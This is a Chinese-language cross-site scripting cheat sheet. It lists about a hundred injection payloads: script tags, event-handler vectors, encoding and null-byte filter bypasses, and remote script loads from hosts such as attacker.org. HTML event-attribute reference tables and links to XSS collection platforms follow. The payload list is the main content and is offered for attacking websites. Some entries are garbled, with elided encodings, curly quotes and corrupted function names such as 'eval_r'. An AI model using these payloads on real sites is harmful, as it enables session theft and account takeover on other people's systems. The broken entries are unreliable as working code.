利用方法
Script 标簽
Script 标簽可以用于定義一個行内的腳本或者從其他地方加載腳本:
<script>alert("XSS")</script>
<script src="http://attacker.org/malicious.js"></script>
Src屬性
<img src=x οnerrοr=prompt(1);>
<img/src=aaa.jpg οnerrοr=prompt(1);>
<video src=x οnerrοr=prompt(1);>
<audio src=x οnerrοr=prompt(1);>
事件觸發
<svg/οnlοad=prompt(1);>
<marquee/onstart=confirm(2)>/
<body οnlοad=prompt(1);>
a标簽
<a href="javascript:alert('xss')" target="_blank" rel="external nofollow" >2</a> //可以去掉雙引号
<a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>2</a> //不能去掉雙引号
<a href=javascript:eval("alert('xss')")>2</a> //可以去掉雙引号
原code:
<a href=javascript:eval("alert('xss')")>2</a>
<a href="javascript:aaa" target="_blank" rel="external nofollow" οnmοuseοver="alert(/xss/)">22222222</a>
input 标簽
<input value="" οnclick="alert(xss)" type="text">
<INPUT name="name" value="01/01/1967" οnmοuseοver=prompt(971874) bad="">
<INPUT name="name" value=""><script>alert(123)</script>
觸發事件
<svg/οnlοad=prompt(1);>
<marquee/onstart=confirm(2)>/
<body οnlοad=prompt(1);>
<select autofocus οnfοcus=alert(1)>
<textarea autofocus οnfοcus=alert(1)>
<keygen autofocus οnfοcus=alert(1)>
利用0位元組繞過
<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t> //
在IE9及以下版本有效。
svg标簽
當傳回結果在svg标簽中的時候,會有一個特性
<svg><script>varmyvar="YourInput";</script></svg>
background屬性
<table background=javascript:alert(1)></table> // 在Opera 10.5和IE6上有效
poster屬性
<video poster=javascript:alert(1)//></video> // Opera 10.5以下有效
data屬性
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=" >
code屬性
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
測試語句
<script>alert(navigator.userAgent)<script>
<script>alert(1)</script>
<script>confirm(1)</script>
<script>prompt(1)</script>
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
<script>+alert(1)</script>
<script>alert(/1/)</script>
<script src=data:text/javascript,alert(1)></script>
<script src=data:text/javascript,alert(1)></script>
<script>alert(String.fromCharCode(49,49))</script>
<script>alert(/1/.source)</script>
<script>setTimeout(alert(1),0)</script>
<script>document['write'](1);</script>
<anytag οnmοuseοver=alert(15)>M
<anytag οnclick=alert(16)>M
<a οnmοuseοver=alert(17)>M
<a οnclick=alert(18)>M
<a href=javascript:alert(19)>M
<button/οnclick=alert(20)>M
formaction=javascript:alert(21)>M
<form/action=javascript:alert(22)><input/type=submit>
<form οnsubmit=alert(23)><button>M
<form οnsubmit=alert(23)><button>M
<img src=x οnerrοr=alert(24)> 29
<body/οnlοad=alert(25)>
οnscrοll=alert(26)><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br>
<input autofocus>
<iframe/οnlοad=alert(document.domain)></iframe>
<IFRAME SRC="javascript:alert(29);"></IFRAME>
<meta http-equiv="refresh" content="0;
url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2830%29%3C%2%73%63%72%69%70%74%3E">
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+></object>
<object data="javascript:alert(document.domain)">
<marquee onstart=alert(30)></marquee>
<isindex type=image src=1 οnerrοr=alert(31)>
<isindex action=javascript:alert(32) type=image>
<input οnfοcus=alert(33) autofocus>
<input οnblur=alert(34) autofocus><input autofocus>
<ImG/sRc/OnErRoR=alert(document.domain)>
<img src="vbscript:msgbox(1)">
<script>alert('xss')</script>
<img src=x οnerrοr=alert(1)>
<img src =“javascript:alert(/xss/);">
<img src =“javascript:alert(/xss/);">
</style><img src=1 οnerrοr=alert(1)>
aaaaaaa%27*alert(1)*%27
"空格autofocus οnfοcus=alert`1`空格
"空格autofocus οnblur=alert`1`空格
"alert`666`"插入到圖檔後面
<script LANGUAGE="Javascript">
location.href="www.baidu.com" target="_blank" rel="external nofollow" ;
</script>
(1)普通的XSS JavaScript注入
<SCRIPT SRC=http:/XSS/xss.js></SCRIPT>
(2)IMG标簽XSS使用JavaScript指令
<SCRIPT SRC=http:/XSS/xss.js></SCRIPT>
(3)IMG标簽無分号無引号
<IMG SRC=javascript:alert(‘XSS’)>
(4)IMG标簽大小寫不敏感
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
(5)HTML編碼(必須有分号)
<IMG SRC=javascript:alert(“XSS”)>
(6)修正缺陷IMG标簽
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
(7)formCharCode标簽(電腦)
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
(8)UTF-8的Unicode編碼(電腦)
<IMG SRC=jav..省略..S')>
(9)7位的UTF-8的Unicode編碼是沒有分号的(電腦)
<IMG SRC=jav..省略..S')>
(10)十六進制編碼也是沒有分号(電腦)
<IMG SRC=java..省略..XSS')>
(11)嵌入式标簽,将Javascript分開
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(12)嵌入式編碼标簽,将Javascript分開
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(13)嵌入式換行符
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(14)嵌入式回車
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(15)嵌入式多行注入JavaScript,這是XSS極端的例子
<IMG SRC=”javascript:alert(‘XSS‘)”>
(16)解決限制字元(要求同頁面)
<script>z=’document.’</script>
<script>z=z+’write(“‘</script>
<script>z=z+’<script’</script>
<script>z=z+’ src=ht’</script>
<script>z=z+’tp://ww’</script>
<script>z=z+’w.shell’</script>
<script>z=z+’.net/1.’</script>
<script>z=z+’js></sc’</script>
<script>z=z+’ript>”)’</script>
<script>eval_r(z)</script>
(17)空字元
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
(18)空字元2,空字元在國内基本沒效果.因為沒有地方可以利用
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
(19)Spaces和meta前的IMG标簽
<IMG SRC=” javascript:alert(‘XSS’);”>
(20)Non-alpha-non-digit XSS
<SCRIPT/XSS SRC=”http:/XSS/xss.js”></SCRIPT>
(21)Non-alpha-non-digit XSS to 2
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
(22)Non-alpha-non-digit XSS to 3
<SCRIPT/SRC=”http:/XSS/xss.js”></SCRIPT>
(23)雙開括号
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
(24)無結束腳本标記(僅火狐等浏覽器)
<SCRIPT SRC=http:/XSS/xss.js?<B>
(25)無結束腳本标記2
<SCRIPT SRC=/XSS/xss.js>
(26)半開的HTML/JavaScript XSS
<IMG SRC=”javascript:alert(‘XSS’)”
(27)雙開角括号
<iframe src=http:/XSS.html <
(28)無單引号 雙引号 分号
<SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>
(29)換碼過濾的JavaScript
\”;alert(‘XSS’);//
(30)結束Title标簽
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
(31)Input Image
<INPUT SRC=”javascript:alert(‘XSS’);”>
(32)BODY Image
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
(33)BODY标簽
<BODY(‘XSS’)>
(34)IMG Dynsrc
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
(35)IMG Lowsrc
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
(36)BGSOUND
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
(37)STYLE sheet
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
(38)遠端樣式表
<LINK REL=”stylesheet” HREF=”http:/xss.css”>
(39)List-style-image(清單式)
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
(40)IMG VBscript
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
(41)META連結url
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
(42)Iframe
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
(43)Frame
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
(44)Table
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
(45)TD
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
(46)DIV background-image
<DIV STYLE=”background-image: none)”>
(47)DIV background-image後加上額外字元(1-32&34&39&160&8192-8&13&12288&65279)
<DIV STYLE=”background-image: none)”>
(48)DIV expression
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
(49)STYLE屬性分拆表達
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
(50)匿名STYLE(組成:開角号和一個字母開頭)
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
(51)STYLE background-image
<STYLE>.XSS{background-image:none”);}</STYLE><A class="XSS"></A>
(52)IMG STYLE方式
exppression(alert(“XSS”))’>
(53)STYLE background
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
(54)BASE
<BASE HREF=”javascript:alert(‘XSS’);//”>
(55)EMBED标簽,你可以嵌入FLASH,其中包涵XSS
<EMBED SRC=”http:/XSS/xss.swf” ></EMBED>
(56)在flash中使用ActionScrpt可以混進你XSS的代碼
a=”get”;
b=”URL(\”";
c=”javascript:”;
d=”alert(‘XSS’);\”)”;
eval_r(a+b+c+d);
(57)XML namespace.HTC檔案必須和你的XSS載體在一台伺服器上
<HTML xmlns:xss>
<?import namespace=”xss” implementation=”http:/XSS/xss.htc”>
<xss:xss>XSS</xss:xss>
</HTML>
(58)如果過濾了你的JS你可以在圖檔裡添加JS代碼來利用
<SCRIPT SRC=””></SCRIPT>
(59)IMG嵌入式指令,可執行任意指令
<IMG SRC=”http://www.XXX.com/a.php?a=b”>
(60)IMG嵌入式指令(a.jpg在同伺服器)
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
(61)繞符号過濾
<SCRIPT a=”>” SRC=”http:/xss.js”></SCRIPT>
(62)
<SCRIPT =”>” SRC=”http:/xss.js”></SCRIPT>
(63)
<SCRIPT a=”>” ” SRC=”http:/xss.js”></SCRIPT>
(64)
<SCRIPT “a=’>’” SRC=”http:/xss.js”></SCRIPT>
(65)
<SCRIPT a=`>` SRC=”http:/xss.js”></SCRIPT>
(66)
<SCRIPT a=”>’>” SRC=”http:/xss.js”></SCRIPT>
(67)
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http:/xss.js”></SCRIPT>
(68)URL繞行
<A HREF=”http://127.0.0.1/”>XSS</A>
(69)URL編碼
<A HREF=”http://***”>XSS</A>
(70)IP十進制
<A HREF=”http://3232235521″>XSS</A>
(71)IP十六進制
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
(72)IP八進制
<A HREF=”http://0300.0250.0000.0001″>XSS</A>
(73)混合編碼
<A HREF=”h
tt p://6 6.000146.0×7.147/”">XSS</A>
(74)節省[http:]
<A HREF=”//www.google.com/”>XSS</A>
(75)節省[www]
<A HREF=”http://google.com/”>XSS</A>
(76)絕對點絕對DNS
<A HREF=”http://www.google.com./”>XSS</A>
(77)javascript連結
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
注:html中标簽可以添加連接配接的屬性,或者是标簽的事件,都可以進行xss利用
HTML 事件屬性
全局事件屬性
HTML 4 的新特性之一是可以使 HTML 事件觸發浏覽器中的行為,比方說當使用者點選某個 HTML 元素時啟動一段 JavaScript。
如果你想學習更多關于事件屬性,請通路 JavaScript 教程
下面的表格提供了标準的事件屬性,可以把它們插入 HTML/XHTML 元素中,以定義事件行為。
New : HTML5新增屬性事件。
視窗事件屬性(Window Event Attributes)
由視窗觸發該事件 (适用于 <body> 标簽):
屬性 | 值 | 描述 |
---|---|---|
onafterprintNew | script | 在列印文檔之後運作腳本 |
onbeforeprintNew | script | 在文檔列印之前運作腳本 |
onbeforeonloadNew | script | 在文檔加載之前運作腳本 |
onblur | script | 當視窗失去焦點時運作腳本 |
onerrorNew | script | 當錯誤發生時運作腳本 |
onfocus | script | 當視窗獲得焦點時運作腳本 |
onhashchangeNew | script | 當文檔改變時運作腳本 |
onload | script | 當文檔加載時運作腳本 |
onmessageNew | script | 當觸發消息時運作腳本 |
onofflineNew | script | 當文檔離線時運作腳本 |
ononlineNew | script | 當文檔上線時運作腳本 |
onpagehideNew | script | 當視窗隐藏時運作腳本 |
onpageshowNew | script | 當視窗可見時運作腳本 |
onpopstateNew | script | 當視窗曆史記錄改變時運作腳本 |
onredoNew | script | 當文檔執行再執行操作(redo)時運作腳本 |
onresizeNew | script | 當調整視窗大小時運作腳本 |
onstorageNew | script | 當 Web Storage 區域更新時(存儲空間中的資料發生變化時)運作腳本 |
onundoNew | script | 當文檔執行撤銷時運作腳本 |
onunloadNew | script | 當使用者離開文檔時運作腳本 |
表單事件(Form Events)
表單事件在HTML表單中觸發 (适用于所有 HTML 元素, 但該HTML元素需在form表單内):
屬性 | 值 | 描述 |
---|---|---|
onblur | script | 當元素失去焦點時運作腳本 |
onchange | script | 當元素改變時運作腳本 |
oncontextmenuNew | script | 當觸發上下文菜單時運作腳本 |
onfocus | script | 當元素獲得焦點時運作腳本 |
onformchangeNew | script | 當表單改變時運作腳本 |
onforminputNew | script | 當表單獲得使用者輸入時運作腳本 |
oninputNew | script | 當元素獲得使用者輸入時運作腳本 |
oninvalidNew | script | 當元素無效時運作腳本 |
onreset | script | 當表單重置時運作腳本。HTML 5 不支援。 |
onselect | script | 當選取元素時運作腳本 |
onsubmit | script | 當送出表單時運作腳本 |
鍵盤事件(Keyboard Events)
屬性 | 值 | 描述 |
---|---|---|
onkeydown | script | 當按下按鍵時運作腳本 |
onkeypress | script | 當按下并松開按鍵時運作腳本 |
onkeyup | script | 當松開按鍵時運作腳本 |
滑鼠事件(Mouse Events)
通過滑鼠觸發事件, 類似使用者的行為:
屬性 | 值 | 描述 |
---|---|---|
onclick | script | 當單擊滑鼠時運作腳本 |
ondblclick | script | 當輕按兩下滑鼠時運作腳本 |
ondragNew | script | 當拖動元素時運作腳本 |
ondragendNew | script | 當拖動操作結束時運作腳本 |
ondragenterNew | script | 當元素被拖動至有效的拖放目标時運作腳本 |
ondragleaveNew | script | 當元素離開有效拖放目标時運作腳本 |
ondragoverNew | script | 當元素被拖動至有效拖放目标上方時運作腳本 |
ondragstartNew | script | 當拖動操作開始時運作腳本 |
ondropNew | script | 當被拖動元素正在被拖放時運作腳本 |
onmousedown | script | 當按下滑鼠按鈕時運作腳本 |
onmousemove | script | 當滑鼠指針移動時運作腳本 |
onmouseout | script | 當滑鼠指針移出元素時運作腳本 |
onmouseover | script | 當滑鼠指針移至元素之上時運作腳本 |
onmouseup | script | 當松開滑鼠按鈕時運作腳本 |
onmousewheelNew | script | 當轉動滑鼠滾輪時運作腳本 |
onscrollNew | script | 當滾動元素的滾動條時運作腳本 |
多媒體事件(Media Events)
通過視訊(videos),圖像(images)或者音頻(audio) 觸發該事件,多應用于 HTML 媒體元素比如 <audio>, <embed>, <img>, <object>, 和<video>:
屬性 | 值 | 描述 |
---|---|---|
onabort | script | 當發生中止事件時運作腳本 |
oncanplayNew | script | 當媒介能夠開始播放但可能因緩沖而需要停止時運作腳本 |
oncanplaythroughNew | script | 當媒介能夠無需因緩沖而停止即可播放至結尾時運作腳本 |
ondurationchangeNew | script | 當媒介長度改變時運作腳本 |
onemptiedNew | script | 當媒介資源元素突然為空時(網絡錯誤、加載錯誤等)運作腳本 |
onendedNew | script | 當媒介已抵達結尾時運作腳本 |
onerrorNew | script | 當在元素加載期間發生錯誤時運作腳本 |
onloadeddataNew | script | 當加載媒介資料時運作腳本 |
onloadedmetadataNew | script | 當媒介元素的持續時間以及其他媒介資料已加載時運作腳本 |
onloadstartNew | script | 當浏覽器開始加載媒介資料時運作腳本 |
onpauseNew | script | 當媒介資料暫停時運作腳本 |
onplayNew | script | 當媒介資料将要開始播放時運作腳本 |
onplayingNew | script | 當媒介資料已開始播放時運作腳本 |
onprogressNew | script | 當浏覽器正在取媒介資料時運作腳本 |
onratechangeNew | script | 當媒介資料的播放速率改變時運作腳本 |
onreadystatechangeNew | script | 當就緒狀态(ready-state)改變時運作腳本 |
onseekedNew | script | 當媒介元素的定位屬性 [1] 不再為真且定位已結束時運作腳本 |
onseekingNew | script | 當媒介元素的定位屬性為真且定位已開始時運作腳本 |
onstalledNew | script | 當取回媒介資料過程中(延遲)存在錯誤時運作腳本 |
onsuspendNew | script | 當浏覽器已在取媒介資料但在取回整個媒介檔案之前停止時運作腳本 |
ontimeupdateNew | script | 當媒介改變其播放位置時運作腳本 |
onvolumechangeNew | script | 當媒介改變音量亦或當音量被設定為靜音時運作腳本 |
onwaitingNew | script | 當媒介已停止播放但打算繼續播放時運作腳本 |
其他事件
屬性 | 值 | 描述 |
---|---|---|
onshowNew | script | 當 <menu> 元素在上下文顯示時觸發 |
ontoggleNew | script | 當使用者打開或關閉 <details> 元素時觸發 |
xss服務站點:
https://xsspt.com/index.php
https://xssye.com/login/
https://xss.pt/xss.php?do=login
參考網址:https://zhuanlan.zhihu.com/p/26177815